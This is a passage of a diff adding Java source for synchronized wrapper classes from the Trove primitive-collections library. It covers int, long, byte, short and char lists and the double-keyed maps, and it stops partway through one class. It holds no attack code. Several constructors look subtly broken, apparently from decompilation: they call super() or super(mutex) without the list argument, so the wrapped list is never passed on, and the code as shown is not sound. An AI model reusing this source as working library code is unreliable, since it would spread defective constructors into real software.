+    public void add(int[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(int[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, int value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, int[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, int[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(int o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(int o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TIntList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedIntList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public int[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public int[] toArray(int[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public int[] toArray(int[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, int value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, int value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(int val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, int val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(int value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(int value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TIntList grep(TIntProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TIntList inverseGrep(TIntProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public int max() { synchronized (mutex) { return list.max(); } }
+    public int min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TIntProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessIntList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessIntList
+    extends TSynchronizedCollections.TSynchronizedIntList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessIntList(TIntList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessIntList(TIntList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TIntList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessIntList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedIntList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedLongList
+    extends TSynchronizedCollections.TSynchronizedLongCollection
+    implements TLongList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+    final TLongList list;
+    
+
+    public TSynchronizedLongList(TLongList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedLongList(TLongList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public long get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, long element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, long[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, long[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public long replace(int offset, long val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public long removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
+    public void add(long[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(long[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, long value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, long[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, long[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(long o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(long o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TLongList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedLongList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public long[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public long[] toArray(long[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public long[] toArray(long[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, long value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, long value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(long val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, long val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(long value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(long value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TLongList grep(TLongProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TLongList inverseGrep(TLongProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public long max() { synchronized (mutex) { return list.max(); } }
+    public long min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TLongProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessLongList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessLongList
+    extends TSynchronizedCollections.TSynchronizedLongList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessLongList(TLongList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessLongList(TLongList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TLongList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessLongList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedLongList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedByteList
+    extends TSynchronizedCollections.TSynchronizedByteCollection
+    implements TByteList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+    final TByteList list;
+    
+
+    public TSynchronizedByteList(TByteList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedByteList(TByteList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public byte get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, byte element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, byte[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, byte[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public byte replace(int offset, byte val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public byte removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
+    public void add(byte[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(byte[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, byte value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, byte[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, byte[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(byte o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(byte o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TByteList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedByteList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public byte[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public byte[] toArray(byte[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public byte[] toArray(byte[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, byte value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, byte value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(byte val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, byte val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(byte value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(byte value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TByteList grep(TByteProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TByteList inverseGrep(TByteProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public byte max() { synchronized (mutex) { return list.max(); } }
+    public byte min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TByteProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessByteList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessByteList
+    extends TSynchronizedCollections.TSynchronizedByteList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessByteList(TByteList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessByteList(TByteList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TByteList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessByteList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedByteList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedShortList
+    extends TSynchronizedCollections.TSynchronizedShortCollection
+    implements TShortList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+    final TShortList list;
+    
+
+    public TSynchronizedShortList(TShortList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedShortList(TShortList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public short get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, short element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, short[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, short[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public short replace(int offset, short val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public short removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
+    public void add(short[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(short[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, short value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, short[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, short[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(short o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(short o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TShortList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedShortList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public short[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public short[] toArray(short[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public short[] toArray(short[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, short value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, short value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(short val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, short val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(short value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(short value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TShortList grep(TShortProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TShortList inverseGrep(TShortProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public short max() { synchronized (mutex) { return list.max(); } }
+    public short min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TShortProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessShortList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessShortList
+    extends TSynchronizedCollections.TSynchronizedShortList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessShortList(TShortList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessShortList(TShortList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TShortList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessShortList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedShortList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedCharList
+    extends TSynchronizedCollections.TSynchronizedCharCollection
+    implements TCharList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+    final TCharList list;
+    
+
+    public TSynchronizedCharList(TCharList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedCharList(TCharList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public char get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, char element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, char[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, char[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public char replace(int offset, char val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public char removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
+    public void add(char[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(char[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, char value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, char[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, char[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(char o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(char o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TCharList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedCharList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public char[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public char[] toArray(char[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public char[] toArray(char[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, char value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, char value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(char val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, char val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(char value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(char value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TCharList grep(TCharProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TCharList inverseGrep(TCharProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public char max() { synchronized (mutex) { return list.max(); } }
+    public char min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TCharProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessCharList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessCharList
+    extends TSynchronizedCollections.TSynchronizedCharList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessCharList(TCharList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessCharList(TCharList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TCharList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessCharList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedCharList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleDoubleMap
+    implements TDoubleDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TDoubleDoubleMap m;
+    
+    final Object mutex;
+    
+
+    public TSynchronizedDoubleDoubleMap(TDoubleDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleDoubleMap(TDoubleDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(double key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TDoubleDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(double key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(double key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleFloatMap
+    implements TDoubleFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TDoubleFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedDoubleFloatMap(TDoubleFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleFloatMap(TDoubleFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(double key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TDoubleFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
